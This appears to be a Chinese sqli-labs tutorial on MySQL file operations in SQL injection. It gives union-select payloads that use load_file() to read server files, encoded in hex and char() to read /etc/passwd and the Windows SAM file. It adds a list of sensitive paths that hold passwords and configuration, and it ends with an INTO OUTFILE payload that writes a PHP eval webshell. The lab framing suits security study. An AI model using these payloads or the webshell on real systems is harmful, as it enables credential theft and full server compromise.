0%

sqli-labs-Background-3 导入导出的相关操作

load_file()导出文件

Load_file(file_name):读取文件并返回该文件的内容作为一个字符串。

使用条件:

  1. 必须有权限读取并且文件必须完全可读
    1
    2
    and (select count(*) from mysql.user)>0/*    //如果结果返回正常,说明具有读写权限。
    and (select count(*) from mysql.user)>0/* //返回错误,应该是管理员给数据库帐户降权了
  2. 欲读取文件必须在服务器上
  3. 必须指定文件完整的路径
  4. 欲读取文件必须小于 max_allowed_packet

    如果该文件不存在,或因为上面的任一原因而不能被读出,函数返回空。比较难满足的
    就是权限,在 windows 下,如果 NTFS 设置得当,是不能读取相关的文件的,当遇到只有
    administrators 才能访问的文件,users 就别想 load_file 出来

在实际的注入中,有两个难点需要解决:

  1. 绝对物理路径
  2. 构造有效的畸形语句(报错爆出绝对路径)

    在很多 PHP 程序中,当提交一个错误的 Query,如果 display_errors = on,程序就会暴露
    WEB 目录的绝对路径,只要知道路径,那么对于一个可以注入的 PHP 程序来说,整个服务
    器的安全将受到严重的威胁.

常用路径:

WINDOWS下:

路径 备注
c:/boot.ini 查看系统版本
c:/windows/php.ini 或 c:/winnt/php.ini php配置信息
c:/windows/my.ini 或 c:/winnt/my.ini 或 C:\Program Files\mysql\my.ini MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
c:\mysql\data\mysql\user.MYD 存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini 存储了虚拟主机网站路径和密码
c:\Program Files\Serv-U\ServUDaemon.ini 存储了虚拟主机网站路径和密码
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
c:\windows\repair\sam 存储了WINDOWS系统初次安装的密码
c:\Program Files\ Serv-U\ServUAdmin.exe 6.0版本以前的serv-u管理员密码存储
c:\Program Files\RhinoSoft.com\ServUDaemon.exe serv-u管理员密码存储
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件 存储了pcAnywhere的登陆密码
c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf 查看WINDOWS系统apache文件
c:/Resin-3.0.14/conf/resin.conf 查看jsp开发的网站 resin文件配置信息
c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码

LUNIX/UNIX 下:

路径 备注
/usr/local/app/apache2/conf/httpd.conf apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf apache2缺省配置文件
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf 虚拟网站设置
/usr/local/app/php5/lib/php.ini PHP相关设置
/etc/sysconfig/iptables 从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf apache配置文件
/etc/rsyncd.conf 同步程序配置文件
/etc/my.cnf mysql的配置文件
/etc/redhat-release 或 /etc/issue 或 /etc/issue.net 系统版本
/etc/httpd/conf/httpd.conf 或 /usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf 查看jsp开发的网站 resin文件配置信息
load_file(char(47)) 列出FreeBSD,Sunos系统根目录
replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))

示例

1
Select 1,2,3,4,5,6,7,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92, 114,101,112,97,105,114,92,115,97,109)))

利用hex()将文件内容导出来,尤其是smb文件时使用。

1
2
3
4
5
6
union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
//char(99,58,47,98,111,111,116,46,105,110,105)”就是“c:/boot.ini”的 ASCII 代码
union select 1,1,1,load_file(0x633a2f626f6f742e696e69)
//“c:/boot.ini”的 16 进制是“0x633a2f626f6f742e696e69”
union select 1,1,1,load_file(c:\\boot.ini)
//路径里的/用 \\代替

文件导入到数据库

LOAD DATA INFILE 语句

LOAD DATA INFILE 语句用于高速地从一个文本文件中读取行,并装入一个表中。文件名称必须为一个文字字符串。

示例:

1
load data infile '/tmp/test.txt' into table test character set gbk fields terminated by '\t' lines terminated by '\n'

将/tmp/test.txt 导入到 test 表中,character set gbk 是字符集设置为gbkfields terminated by 是每一项数据之间的分隔符,lines terminated by 是行的结尾符。

导入到文件

INFO OUTFILE语句

直接上传一句话

1
Select <?php @eval($_post[“mima”])?> into outfile “c:\\phpnow\\htdocs\\test.php”